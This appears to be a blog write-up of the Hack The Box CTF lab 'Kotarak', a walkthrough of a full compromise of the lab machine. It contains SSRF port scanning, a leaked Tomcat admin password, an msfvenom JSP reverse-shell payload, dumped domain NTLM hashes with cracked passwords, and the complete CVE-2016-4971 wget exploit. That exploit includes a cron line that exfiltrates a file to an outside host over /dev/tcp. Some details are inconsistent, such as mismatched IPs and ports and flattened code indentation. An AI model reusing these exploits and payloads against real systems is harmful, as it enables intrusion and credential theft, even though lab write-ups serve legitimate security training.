HTB – Kotarak

Today we are going to solve another CTF challenge “Kotarak”. Kotarak is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Hard

Task: To find user.txt and root.txt

Let’s start off with our basic nmap command to find out the open ports and running services.

root@kali# nmap -A -p- 10.10.10.102
Starting Nmap 7.50 ( https://nmap.org ) at 2018-06-12 04:32 EST
Warning: 10.10.10.55 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.55
Host is up (0.16s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.5
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3856.06 seconds

Web:- PORT:- 8080

1
Tomcat 8.5.5 is running2
To access it we need a valid password, let’s find it.

Port:- 600003
On this port a private web service is running which access the file from internal system, let’s enumerate it further45
There is no output, and the server is running a url.php and we also need to specify a path which Maybe running in some internal port,So we need to find the correct internal port first.
for i in $(seq 1 1000); do echo $i; curl -X GET http://10.10.10.55:60000/url.php?path=http://localhost:$i/ 2> /dev/null | tr -d “\n”; done
this will ping all the internal port 1 by 1 and if it get’s any response it will show it to us in the output.

887
888
<html xmls="http://www.w3.org/1999/xhtml" xml:lag="e" lag="e">
<head>
<meta http-equiv="cotet-type" cotet="text/html; charset=iso-8859-1"/>
<title>Simple File Viewer</title>
--snip--
</body>
</html>
889
890
--snip

On internal port 888 we got some response which is is referring to a doc file named backup, let’s try to read it

view-source:http://10.10.10.55:60000/url.php?path=http://localhost:888?doc=backup

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required  to operate the "/manager/html" web application.  If you wish to use this app,  you must define such a user - the username and password are arbitrary. It is  strongly recommended that you do NOT use one of the users in the commented out  section below since they are intended for use with the examples web  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the  examples web application. They are wrapped in a comment and thus are ignored  when reading this file. If you wish to configure these users for use with the  examples web application, do not forget to remove the <!.. ..> that surrounds  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>
root@kali:# curl -X GET http://10.10.10.55:60000/url.php?path=http://localhost:888?doc=backup
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
--snip--
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>
root@kali:~# gobuster -u http://10.10.10.55:60000 -w /usr/share/wordlists/dirb/common.txt -t 250 -s 200,204,301,302,307,403
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.55:60000/
[+] Threads : 250
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 302,307,403,200,204,301
=====================================================
/index.php (Status: 200)
/info.php (Status: 200)
/server-status (Status: 403)
=====================================================
root@kali:~/htb/kotarak# wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
Total requests: 65535

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000022:  C=200      4 L	       4 W	     62 Ch	  "22"
000090:  C=200     11 L	      18 W	    156 Ch	  "90"
000110:  C=200     17 L	      24 W	    187 Ch	  "110"
000200:  C=200      3 L	       2 W	     22 Ch	  "200"
000320:  C=200     26 L	     109 W	   1232 Ch	  "320"
000888:  C=200     78 L	     265 W	   3955 Ch	  "888"
001000:  C=200      2 L	       0 W	      2 Ch	  "1000001001:  C=200      2 L	       0 W	      2 Ch	  "1001001002:  C=200      2 L	       0 W	      2 Ch	  "1002

10

Shell  Method-(NC)
First generate a java payload for reverse shell with .war extension

root@kali:~/htb/kotarak# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.19 LPORT=9000 -f war > shell.war

Now from tomcat webpage, browse the file and upload it,1213
Now start the listener and then click the file, or just open it on another browser and we will get the reverse shell

root@kali:~/Desktop# nc -nlvp 4455
listening on [any] 4455 …
connect to [10.10.*.*] from (UNKNOWN) [10.10.10.55] 51012
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
python -c ‘import pty;pty.spawn(“/bin/bash”)’
tomcat@kotarak-dmz:/$

In /home/tomcat/to_archive/Pentest_data we find a directory information tree file and binary file.

We download both the files into our system and used impacket-secretsdump to dump hashes inside the files.

root@kali:~/htb/kotarak# ls
ftptest libesedb-experimental-20170121.tar.gz puck.war SYSTEM zmohyqoef.jsp
libesedb-20170121 ntds.dit shell.war WEB-INF
root@kali:~/htb/kotarak# impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
Administrator:des-cbc-md5:75375eda54757c2f
WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
krbtgt:des-cbc-md5:10ef08047a862046
krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
WINXP1$:des-cbc-md5:984a40d5f4a815f2
WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
WIN7$:des-cbc-md5:89a1673723ad9180
WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
atanas:des-cbc-md5:6b80e391f113542a
[*] Cleaning up...

Now we can crack the hash using CrackStation1819
Administrator:f16tomcat!
Atanas:Password123!
Now with the Administrator password (f16tomcat!) we can login as Atanas user

$python -c 'import pty;pty.spawn("/bin/bash")'
arp -a
? (10.0.3.133) at 00:16:3e:c9:bd:b1 [ether] on lxcbr0
? (10.10.10.2) at 00:50:56:8f:64:fe [ether] on eth0
tomcat@kotarak-dmz:/$ nc -v 10.0.3.133 445
nc -v 10.0.3.133 445
nc: connect to 10.0.3.133 port 445 (tcp) failed: Connection refused
tomcat@kotarak-dmz:/$ nc -v 10.0.3.133 22
nc -v 10.0.3.133 22
Connection to 10.0.3.133 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
tomcat@kotarak-dmz:/$ su -l atanas
su -l atanas
Password: f16tomcat!
atanas@kotarak-dmz:~$ ls
user.txt
atanas@kotarak-dmz:~$ cd /root
atanas@kotarak-dmz:/root$ ls
app.log flag.txt
atanas@kotarak-dmz:/root$ cat flag.txt
Getting closer! But what you are looking for can't be found here.
atanas@kotarak-dmz:/root$ cat app.log
cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
atanas@kotarak-dmz:/root$ wget --version | head -n1
wget --version | head -n1
GNU Wget 1.17.1 built on linux-gnu.

The machine is connected to a LXC container, So Every 2 minutes a LXC container requests a file on port 80 of kotarak. He (the container) have vulnerable wget, and the root.txt is there. So we will leak this file using the GNU Wget exploit, But before that we need to download our pyftpdlib server and run it.

c:\Python27>pip install pyftpdlib
Collecting pyftpdlib
Downloading https://files.pythonhosted.org/packages/0d/64/eb0daca74956d0e6849b71c5ba99ab873ec59b888a1d7651d92fb686ee04/pyftpdlib-1.5.4.tar.gz (184kB)
100% |################################| 194kB 2.1MB/s
Installing collected packages: pyftpdlib
Running setup.py install for pyftpdlib ... done
Successfully installed pyftpdlib-1.5.4

c:\Python27>python -m pyftpdlib -p21
[I 2018-12-06 18:10:29] >>> starting FTP server on 0.0.0.0:21, pid=7292 <<<
[I 2018-12-06 18:10:29] concurrency model: async
[I 2018-12-06 18:10:29] masquerade (NAT) address: None
[I 2018-12-06 18:10:29] passive ports: None

Now copy the wget python exploit from the link I have shared above and you need to edit Listening IP and Port along with Host IP of the FTP server and Port and command to execute as root.

Now create a file .wgetrc and make sure it should be in the same directory from where you are hosting your FTP server

atanas@kotarak-dmz:/tmp$ cat .wgetrc
cat .wgetrc
post_file = /root/root.txt
output_document = /etc/cron.d/wget-root-shell

Make sure our FTP server is up and running,Now download the wget python exploit to the target server and for executing the exploit we are using authbind for a possible to host something on port 80 , without authbind that wouldn’t be possible only root have perm for ports lower than 1024, after executing the exploit, wait for 2 min and as soon the cronjob will run, you will get the root flag.

atanas@kotarak-dmz:/tmp$ cat exploit.py
cat exploit.py
#!/usr/bin/env python
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending back a cronjob script as a thank-you for the file..."
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
print "\nFile was served. Check your root hash receiving in your 8888 web server in a minute! :) \n"
return
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21
ROOT_CRON = "* * * * * root cat /root/root.txt > /dev/tcp/10.10.14.19/9876 \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()atanas@kotarak-dmz:/tmp$
handler.serve_forever()atanas@kotarak-dmz:/tmp$ ls -la
ls -la
total 64
drwxrwxrwt 10 root root 4096 Dec 6 09:41 .
drwxr-xr-x 27 root root 4096 Aug 29 2017 ..
-rwxrwxrwx 1 atanas atanas 2915 Dec 6 09:41 exploit.py
-rw-rw-r-- 1 atanas atanas 2871 Dec 6 06:38 wget-log
-rwxrwxrwx 1 atanasv atanas 73 Dec 6 09:22 .wgetrc

 

File was served. Check your root hash receiving in your 9876 netcat listener in a minute!

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *